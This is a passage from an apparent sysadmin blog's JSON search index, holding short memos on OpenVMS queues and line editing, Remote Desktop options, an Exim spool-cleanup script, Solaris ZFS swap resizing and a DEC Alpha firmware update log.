line.\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e$ {Ctrl F}        Move one character right.\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e$ {Ctrl H}        Move to the beginning of the line.\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e$ {Ctrl J}        Delete word left of cursor.\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e$ {Ctrl R}        Rewrite the command line.\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e$ {Ctrl U}        Delete line left of cursor.\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e$ {Ctrl X}        Cancel the current command line.\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eMiscellaneous:\u003c/p\u003e","title":"OpenVMS - Command line editing"},{"content":"Memo per il Giaco:\nSyntax\nMSTSC option MSTSC /Edit\u0026#34;ConnectionFile\u0026#34; MSTSC /migrate Options ConnectionFile The name of an RDP file for connection\n/v: The remote computer to connect to /console Connect to the console of a server (NT/XP) /Admin Connect to a session for administering the server(Vista/2008) /f Start in Full Screen mode /w:width Width of the RDP screen /h:height Height of the RDP screen /span Match the Remote Desktop width and height with the local virtual desktop, spanning across multiple monitors if necessary.(Vista/2008) /public Run Remote Desktop in public mode. (Vista/2008) In public mode, passwords and bitmaps are not cached. /edit Open the RDP file for editing. /migrate Convert a legacy Client connection file into an .RDP file ","permalink":"https://www.deepreflect.net/2010/02/19/mstsc-admin-session/","summary":"\u003cp\u003eMemo per il Giaco:\u003c/p\u003e\n\u003cp\u003eSyntax\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-fallback\" data-lang=\"fallback\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      MSTSC option\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      MSTSC /Edit\u0026#34;ConnectionFile\u0026#34;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      MSTSC /migrate\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eOptions\nConnectionFile The name of an RDP file for connection\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-fallback\" data-lang=\"fallback\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e   /v: The remote computer to connect to\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e   /console       Connect to the console of a server (NT/XP)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e   /Admin         Connect to a session for administering the server(Vista/2008)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e   /f             Start in Full Screen mode\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e   /w:width       Width of the RDP screen\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e   /h:height      Height of the RDP screen\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e   /span          Match the Remote Desktop width and height with the local virtual\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                  desktop, spanning across multiple monitors if necessary.(Vista/2008)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e   /public        Run Remote Desktop in public mode. (Vista/2008)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                  In public mode, passwords and bitmaps are not cached.\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e   /edit          Open the RDP file for editing.\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e   /migrate       Convert a legacy Client connection file into an .RDP file\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e","title":"MSTSC - Admin session"},{"content":"In case of massive spam attack.\n#!/bin/bash ls /var/spool/exim/input/ \u0026gt; /tmp/delspoorexim declare -a ARRAY exec 10\u0026lt; /tmp/delspoorexim let count=0 while read dels \u0026lt;\u0026amp;10; do rm -fr /var/spool/exim/input/$dels echo $dels ARRAY[$count]=$dels ((count++)) done echo Number operation done: ${#ARRAY[@]} #echo ${ARRAY[@]} exec 10\u0026gt;\u0026amp;- rm /tmp/delspoorexim ","permalink":"https://www.deepreflect.net/2010/02/17/exim-spool-destroyer/","summary":"\u003cp\u003eIn case of massive spam attack.\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-gdscript3\" data-lang=\"gdscript3\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e \u003cspan style=\"color:#75715e\"\u003e#!/bin/bash\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e ls \u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003e\u003cspan style=\"color:#66d9ef\"\u003evar\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003espool\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003eexim\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003einput\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e\u0026gt;\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003etmp\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003edelspoorexim\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e declare \u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003ea ARRAY\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e exec \u003cspan style=\"color:#ae81ff\"\u003e10\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e\u0026lt;\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003etmp\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003edelspoorexim\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e let count\u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e \u003cspan style=\"color:#66d9ef\"\u003ewhile\u003c/span\u003e read dels \u003cspan style=\"color:#f92672\"\u003e\u0026lt;\u0026amp;\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e10\u003c/span\u003e; \u003cspan style=\"color:#66d9ef\"\u003edo\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e rm \u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003efr \u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003e\u003cspan style=\"color:#66d9ef\"\u003evar\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003espool\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003eexim\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003einput\u003cspan style=\"color:#f92672\"\u003e/$\u003c/span\u003edels\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e echo \u003cspan style=\"color:#f92672\"\u003e$\u003c/span\u003edels\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e ARRAY[\u003cspan style=\"color:#f92672\"\u003e$\u003c/span\u003ecount]\u003cspan style=\"color:#f92672\"\u003e=$\u003c/span\u003edels\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e ((count\u003cspan style=\"color:#f92672\"\u003e++\u003c/span\u003e))\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e done\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e echo Number operation done: \u003cspan style=\"color:#f92672\"\u003e$\u003c/span\u003e{\u003cspan style=\"color:#75715e\"\u003e#ARRAY[@]}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e \u003cspan style=\"color:#75715e\"\u003e#echo ${ARRAY[@]}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e exec \u003cspan style=\"color:#ae81ff\"\u003e10\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e\u0026gt;\u0026amp;-\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e rm \u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003etmp\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003edelspoorexim\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e","title":"Exim - Spool destroyer"},{"content":"Little memo about sys$batch queue:\nIf no queue manger set:\n$ DEFINE/SYSTEM/EXECUTIVE_MODE QMAN$MASTER DKA100:[QUEMAN] $ START/QUEUE/MANAGER DKA100:[SYSQUE] Problem:\n$ SHOW QUEUE SYS$BATCH %JBC-E-NOSUCHQUE, no such queue Resolution: $ INIT/QUE/BATCH SYS$BATCH Problem: $ SHOW QUEUE SYS$BATCH %JBC-E-JOBQUEDIS, system job queue manager is not running Resolution: $ START/QUE SYS$BATCH Full Reset: $ STOP/QUE SYS$BATCH $ DELETE/QUE SYS$BATCH $ INIT/QUE/BATCH SYS$BATCH More info: OpenVMS System Manager\u0026#39;s Manual Chapter 13 Managing the Queue Manager and Queue Database ` ","permalink":"https://www.deepreflect.net/2010/02/11/openvms-sysbatch-queue/","summary":"\u003cp\u003eLittle memo about sys$batch queue:\u003c/p\u003e\n\u003cp\u003eIf no queue manger set:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-fallback\" data-lang=\"fallback\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e$ DEFINE/SYSTEM/EXECUTIVE_MODE QMAN$MASTER DKA100:[QUEMAN]\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e$ START/QUEUE/MANAGER DKA100:[SYSQUE]\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eProblem:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-fallback\" data-lang=\"fallback\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e$ SHOW QUEUE SYS$BATCH\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e%JBC-E-NOSUCHQUE, no such queue\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eResolution:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e$ INIT/QUE/BATCH SYS$BATCH\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eProblem:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e$ SHOW QUEUE SYS$BATCH\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e%JBC-E-JOBQUEDIS, system job queue manager is not running\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eResolution:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e$ START/QUE SYS$BATCH\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eFull Reset:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e$ STOP/QUE SYS$BATCH\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e$ DELETE/QUE SYS$BATCH\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e$ INIT/QUE/BATCH SYS$BATCH\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eMore info:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eOpenVMS System Manager\u0026#39;s Manual\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eChapter 13\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eManaging the Queue Manager and Queue Database\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e`\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e","title":"OpenVMS - SYS$BATCH Queue"},{"content":"I installed Solaris 10 05/09 on a machine and I used whatever the default swap space setting when I built the box. Now I need to increase the swap space and I can\u0026rsquo;t add a swap file, like was possible under UFS.\nIf your swap device is in use, then you might not be able to delete it. Check to see if the swap area is in use. For example:\n$ swap -l swapfile dev swaplo blocks free /dev/zvol/dsk/rpool/swap 182,2 8 4194296 4194296 In the above output, blocks == free, so the swap device is not actually being used.\nIf the swap area is not is use, remove the swap area. For example:\n$ swap -d /dev/zvol/dsk/rpool/swap\nConfirm that the swap area is removed.\n$ swap -l\nNo swap devices configured\nResize the swap volume. For example:\n$ zfs set volsize=1G rpool/swap\nActivate the swap area.\n$ swap -a /dev/zvol/dsk/rpool/swap` `$ swap -l swapfile dev swaplo blocks free /dev/zvol/dsk/rpool/swap 182,2 8 2097144 2097144 ","permalink":"https://www.deepreflect.net/2010/02/11/solaris-add-swap-to-zfs-disk/","summary":"\u003cp\u003eI installed Solaris 10 05/09 on a machine and I used whatever the default swap space setting when I built the box. Now I need to increase the swap space and I can\u0026rsquo;t add a swap file, like was possible under UFS.\u003c/p\u003e\n\u003cp\u003eIf your swap device is in use, then you might not be able to delete it. Check to see if the swap area is in use. For example:\u003c/p\u003e","title":"Solaris - Add swap to ZFS disk"},{"content":"\u0026gt;\u0026gt;\u0026gt; boot esa0 INIT-S-CPU... INIT-S-ASIC... INIT-S-MEM... INIT-S-NVR... INIT-S-CXT... INIT-S-SCC... INIT-S-NI... INIT-S-SCSI... INIT-S-ISDN... AUDIT_BOOT_STARTS ... AUDIT_BOOT_REQ AUDIT_BOOT_RETRY AUDIT_BOOT_RETRY AUDIT_BOOT_RETRY AUDIT_BOOT_RETRY AUDIT_BSERVER_FOUND AUDIT_LOAD_BEGINS AUDIT_LOAD_DONE *** FIRMWARE UPDATE UTILITY V2.6a *** *** SYSTEM TYPE: M300 *** UPDATE VERIFY LIST SHOW ? UPD-\u0026gt; update Read IO ROM Device ID UPD-I VERIFY LOADED ROM IMAGE ........................... UPD-I VERIFY LOADED ROM IMAGE DONE MANUFACTURER = INTEL (0x89) DEVICE CODE = 28F020 (0xbd) 256K x 8 Read System ROM Device ID UPD-I VERIFY LOADED ROM IMAGE ........................... UPD-I VERIFY LOADED ROM IMAGE DONE MANUFACTURER = INTEL (0x89) DEVICE CODE = 28F020 (0xbd) 256K x 8 UPDATE SYSTEM ROM DEVICE UPD-I VERIFY LOADED ROM IMAGE ........................... UPD-I VERIFY LOADED ROM IMAGE DONE FIRMWARE REVISION: V7.0 LENGTH: 0x352e4 -\u0026gt; 217828 BYTES CHECKSUM: 0x1c MANUFACTURER = INTEL (0x89) DEVICE CODE = 28F020 (0xbd) 256K x 8 UPD-I *** ROM CONTENTS WILL BE DESTROYED *** UPD-I ARE YOU READY TO PROGRAM DEVICE ? (Y/N ) y UPD-I PRECHARGING DEVICE ................................................................ UPD-I ERASING ROM DEVICE ................................................................ UPD-I PROGRAMMING DEVICE ..................................................... UPD-I PROGRAMMING COMPLETED ........................... SYSTEM ROM UPDATE SUCCESSFUL UPDATE IO ROM DEVICE UPD-I VERIFY LOADED ROM IMAGE ........................... UPD-I VERIFY LOADED ROM IMAGE DONE FIRMWARE REVISION: V7.0 LENGTH: 0x34da8 -\u0026gt; 216488 BYTES CHECKSUM: 0x59 MANUFACTURER = INTEL (0x89) DEVICE CODE = 28F020 (0xbd) 256K x 8 UPD-I PRECHARGING DEVICE ................................................................ UPD-I ERASING ROM DEVICE ................................................................ UPD-I PROGRAMMING DEVICE .................................................... UPD-I PROGRAMMING COMPLETED ........................... IO ROM UPDATE SUCCESSFUL UPD-\u0026gt; UPD-\u0026gt; ? UPDATE: Update the ROMs. Jumpers MUST be installed on both roms. For example UPD-\u0026gt;update VERIFY [DEVICE]: Verify the ROM[s]. If no qualifiers then all ROMS verified The Checksum of file image is compared with rom image For example UPD-\u0026gt;verify UPD-\u0026gt;verify system UPD-\u0026gt;verify io SHOW [DEVICE]: Show the current ROM Revision For example UPD-\u0026gt;show UPD-\u0026gt;show system UPD-\u0026gt;show io LIST : List the supported ROM Devices For example UPD-\u0026gt;list *** ROM Devices Supported *** SYSTEM: KN15-AA CPU Module 28F020 256Kx8 FLASH MEMORY IO: IO-XXX I/O Module 28F020 256Kx8 FLASH MEMORY *** FIRMWARE UPDATE UTILITY V2.6a *** *** SYSTEM TYPE: M300 *** UPDATE VERIFY LIST SHOW ? UPD-\u0026gt; ","permalink":"https://www.deepreflect.net/2010/02/11/dec-3000-alpha-firmware-upgrade/","summary":"\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-fallback\" data-lang=\"fallback\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u0026gt;\u0026gt;\u0026gt; boot esa0\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eINIT-S-CPU...\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eINIT-S-ASIC...\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eINIT-S-MEM...\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eINIT-S-NVR...\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eINIT-S-CXT...\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eINIT-S-SCC...\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eINIT-S-NI...\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eINIT-S-SCSI...\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eINIT-S-ISDN...\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eAUDIT_BOOT_STARTS ...\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eAUDIT_BOOT_REQ\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eAUDIT_BOOT_RETRY\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eAUDIT_BOOT_RETRY\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eAUDIT_BOOT_RETRY\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eAUDIT_BOOT_RETRY\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eAUDIT_BSERVER_FOUND\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eAUDIT_LOAD_BEGINS\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eAUDIT_LOAD_DONE\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e*** FIRMWARE UPDATE UTILITY V2.6a ***\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e*** SYSTEM TYPE: M300 ***\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eUPDATE\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eVERIFY\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eLIST\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eSHOW\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e?\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eUPD-\u0026gt; update\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eRead IO ROM Device ID\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eUPD-I VERIFY LOADED ROM IMAGE\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e...........................\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eUPD-I VERIFY LOADED ROM IMAGE DONE\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eMANUFACTURER = INTEL (0x89)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eDEVICE CODE  = 28F020  (0xbd) 256K x 8\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eRead System ROM Device ID\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eUPD-I VERIFY LOADED ROM IMAGE\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e...........................\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eUPD-I VERIFY LOADED ROM IMAGE DONE\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eMANUFACTURER = INTEL (0x89)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eDEVICE CODE  = 28F020  (0xbd) 256K x 8\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eUPDATE SYSTEM ROM DEVICE\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eUPD-I VERIFY LOADED ROM IMAGE\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e...........................\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eUPD-I VERIFY LOADED ROM IMAGE DONE\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eFIRMWARE REVISION: V7.0 LENGTH: 0x352e4 -\u0026gt; 217828 BYTES CHECKSUM: 0x1c\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eMANUFACTURER = INTEL (0x89)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eDEVICE CODE  = 28F020  (0xbd) 256K x 8\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eUPD-I *** ROM CONTENTS WILL BE DESTROYED ***\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eUPD-I ARE YOU READY TO PROGRAM DEVICE ? (Y/N ) y\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eUPD-I PRECHARGING DEVICE\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e................................................................\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eUPD-I ERASING ROM DEVICE\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e................................................................\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eUPD-I PROGRAMMING DEVICE\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e.....................................................\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eUPD-I PROGRAMMING COMPLETED\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e...........................\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eSYSTEM ROM UPDATE SUCCESSFUL\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eUPDATE IO ROM DEVICE\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eUPD-I VERIFY LOADED ROM IMAGE\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e...........................\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eUPD-I VERIFY LOADED ROM IMAGE DONE\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eFIRMWARE REVISION: V7.0 LENGTH: 0x34da8 -\u0026gt; 216488 BYTES CHECKSUM: 0x59\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eMANUFACTURER = INTEL (0x89)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eDEVICE CODE  = 28F020  (0xbd) 256K x 8\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eUPD-I PRECHARGING DEVICE\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e................................................................\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eUPD-I ERASING ROM DEVICE\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e................................................................\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eUPD-I PROGRAMMING DEVICE\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e....................................................\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eUPD-I PROGRAMMING COMPLETED\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e...........................\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eIO ROM UPDATE SUCCESSFUL\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eUPD-\u0026gt;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eUPD-\u0026gt; 